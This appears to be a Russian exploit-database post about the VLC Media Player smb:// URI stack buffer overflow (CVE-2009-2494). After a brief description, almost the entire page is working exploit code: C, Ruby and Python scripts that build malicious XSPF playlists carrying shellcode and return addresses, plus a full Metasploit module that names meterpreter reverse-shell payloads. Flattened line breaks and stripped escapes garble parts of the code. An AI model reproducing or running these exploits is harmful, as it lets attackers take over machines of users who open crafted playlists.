Программа: VLC Media Player
Описание:
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных в 'smb://' URI обработчике. Атакующий может передать специально сформированные данные, что приведет к выполнению произвольного кода.
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных в 'smb://' URI обработчике. Атакующий может передать специально сформированные данные, что приведет к выполнению произвольного кода.
Эксплоит:
/* VLC Media Player 'smb://' URI Handling Remote Buffer Overflow Vulnerability Exploit * Reference: http://www.securityfocus.com/bid/35500 * * Tested on VLC media player 0.8.6f on WinXP SP3 * * Coded by Pankaj Kohli * http://www.pank4j.com * */ #include <stdio.h> #include <string.h> // ASCII shellcode (Display a message box & exit) unsigned char shell[] = "TY777777777777777777777777777777777QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkOjpJHIvKOYokObPPwRN1uqt5PA"; long jmp = 0x7E485233; // jmp esp (user32.dll) int main(int argc, char **argv) { char buff[512], *p; FILE *fp; int i; long *ptr; fp = fopen("sploit.xspf", "wb"); fprintf(fp, "<?xml version="1.0" encoding="UTF-8"?>n"); fprintf(fp, "<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">n"); fprintf(fp, "t<title>Playlist</title>n"); fprintf(fp, "t<trackList>n"); fprintf(fp, "tt<track>n"); fprintf(fp, "ttt<location>smb://example.com@www.example.com/foo/#{"); printf("[*] Creating buffern"); for(i=0; i<300; i++) { buff[i] = 'a' + ((i/4)%26); } ptr = (long *) (buff + 96); *ptr = jmp; for(i=0; i<strlen((const char *) shell); i++) { buff[i+100] = shell[i]; } buff[300] = 0; fprintf(fp, "%s", buff); fprintf(fp, "}</location>n"); fprintf(fp, "ttt<extension application="http://www.videolan.org/vlc/playlist/0">n"); fprintf(fp, "tttt<vlc:id>0</vlc:id>n"); fprintf(fp, "ttt</extension>n"); fprintf(fp, "tt</track>n"); fprintf(fp, "t</trackList>n"); fprintf(fp, "</playlist>n"); fclose(fp); printf("[*] Exploit file written to sploit.xspfn"); return 0; }
#!/usr/bin/ruby # VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept) # # Bugtraq ID: 35500 # # The vulnerability can also be triggered via the VLC web interface (disabled by default): # http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............ # # Patch: # http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f # # Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest). # # Trancer # http://www.rec-sec.com foo = "A" * 58 bar = "B" * 4 baz = "C" * 1000 b00m = foo + bar + baz xspf = %Q|<?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"> <title>Playlist</title> <trackList> <track> <location>smb://example.com@www.example.com/foo/#{b00m}</location> <extension application="http://www.videolan.org/vlc/playlist/0"> <vlc:id>0</vlc:id> </extension> </track> </trackList> </playlist> | playlist = File.new("vlc_smb.xspf","wb") playlist.write(xspf) playlist.close
#!/usr/bin/env python ############################################################################ # # VLC Media Player 1.0.01.0.1 smb:// URI Handling Remote Stack Overflow PoC # Found By: Dr_IDE # Tested: Windows XP SP2 , XP SP3 and Windows 7 RC1 # Thanks: Pankaj Kohli for finding this in 0.8.6f # Original: http://www.milw0rm.com/exploits/9303 # ############################################################################ # Crash Breakdown of vlc v1.0.1 on XP SP2/SP3 """ EAX FFFFFFFE ECX 42424242 <---- Bytes 3-6 of our payload EDX 00000000 EBX 42424242 <---- Bytes 3-6 of our payload ESP 02CBF694 EBP 02CBF7C4 ESI 61CC8324 libacc_4.61CC8324 EDI 61CC8323 libacc_4.61CC8323 EIP 77C478AC msvcrt.77C478AC C 0 ES 0023 32bit 0(FFFFFFFF) P 0 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFAC000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_MOD_NOT_FOUND (0000007E) EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G) ST0 empty -UNORM FB18 77C2C3E7 00E128A0 ST1 empty +UNORM 2088 00000000 00000000 ST2 empty %#.19L ST3 empty -??? FFFF 00000000 77C2C42E ST4 empty 0.9999999999999289457 ST5 empty %#.19L ST6 empty 0.9999999999999289457 ST7 empty 0.5000000000000000000 3 2 1 0 E S P U O Z D I FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 """ header1 = ("<?xml version="1.0" encoding="UTF-8"?>n") header1 += ("<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">n") header1 += ("t<title>Playlist</title>n") header1 += ("t<trackList>n") header1 += ("tt<track>n") header1 += ("ttt<location>smb://example.com@www.example.com/foo/#{") # Stack Overwrite after first 2 bytes of URI. It seems that you can't put traditional NOP's in here BTW. # Code execution does not seem possible. payload = ("x41" * 2 + "x42" * 4 + "x43" * 10000) header2 = ("}</location>n"); header2 += ("ttt<extension application="http://www.videolan.org/vlc/playlist/0">n"); header2 += ("tttt<vlc:id>0</vlc:id>n"); header2 += ("ttt</extension>n"); header2 += ("tt</track>n"); header2 += ("t</trackList>n"); header2 += ("</playlist>n"); try: f1 = open("vlc_1.0.X.xspf","w") f1.write(header1 + payload + header2) f1.close() print("nExploit file created!n") except: print "Error"
## # $Id: vlc_smb_uri.rb 8475 2010-02-13 06:58:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 8475 $', 'References' => [ [ 'BID', '35500' ], [ 'OSVDB', '55509' ], [ 'CVE', '2009-2494' ], [ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ], [ 'URL', 'http://milw0rm.com/exploits/9209' ], [ 'URL', 'http://www.exploit-db.com/exploits/9029' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "x00", 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'Platform' => 'win', 'Targets' => [ [ 'vlc 0.9.9 on Windows XP SP3', # shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec} { 'Readable' => 0x65414141, # points to nul bytes in libmod_plugin 'Offset' => 409, # libvout_directx_plugin.dll # add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret # esi is used as our buffer register, and also becomes eip # (there are two copies of the pointer on the stack) 'Ret' => 0x6b54543e, } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 24 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']), ], self.class) end def exploit template = %Q|<?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"> <title>Playlist</title> <trackList> <track> <location>REPLACE_ME</location> <extension application="http://www.videolan.org/vlc/playlist/0"> <vlc:id>0</vlc:id> </extension> </track> </trackList> </playlist> | readable = [target['Readable']].pack('V') # we'll model the memory layout post-overflow.. #psz_remote = Rex::Text.pattern_create(2+260+1+260) psz_remote = rand_text_alphanumeric(target['Offset'] + 4) psz_remote[0,2] = "\\" psz_remote[2+260,1] = "\" # some of this causes crashes in "WNetAddConnection2A" so we need to use # readable addresses... dodging the crashy derefs! # NOTE: some of these only occur in odd open scenarios (like drag/drop) psz_remote[263,4] = readable psz_remote[271,4] = readable psz_remote[325,4] = readable psz_remote[337,4] = readable # add the return addr in psz_remote[target['Offset'],4] = [target.ret].pack('V') # now we can split it and put it in the xml... host,share = psz_remote[2,psz_remote.length].split("\") path = "smb://%s@%s/%s/" % [payload.encoded, host, share] sploit = template.gsub(/REPLACE_ME/, path) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end
#!/usr/bin/env python # VLC Media Player 1.0.01.0.1 smb:// URI Handling Remote Stack Overflow # Xpl By : Mountassif Moad # Thanks : His0ka - Simo-soft - v4 Team # Original : http://www.milw0rm.com/exploits/9427 # popup_msg=( "TY777777777777777777777777777777777QZjAXP0A0AkAAQ2AB2BB0" "BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkO" "jpJHIvKOYokObPPwRN1uqt5PA") # from his0k4 exploit :d cose i lost the alpha encoder tool :s header1 = ("<?xml version="1.0" encoding="UTF-8"?>n") header1 += ("<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">n") header1 += ("t<title>Playlist</title>n") header1 += ("t<trackList>n") header1 += ("tt<track>n") header1 += ("ttt<location>smb://example.com@www.example.com/foo/#{") payload = ("x41" * 2 + "x42" * 4 + "x43" * 90 + "x33x52x48x7E" + popup_msg + "x45" * 43 ) header2 = ("}</location>n"); header2 += ("ttt<extension application="http://www.videolan.org/vlc/playlist/0">n"); header2 += ("tttt<vlc:id>0</vlc:id>n"); header2 += ("ttt</extension>n"); header2 += ("tt</track>n"); header2 += ("t</trackList>n"); header2 += ("</playlist>n"); try: f1 = open("vlc_1.0.X.xspf","w") f1.write(header1 + payload + header2) f1.close() print("nExploit file created!n") except: print "Error"
Материал добавил SokoL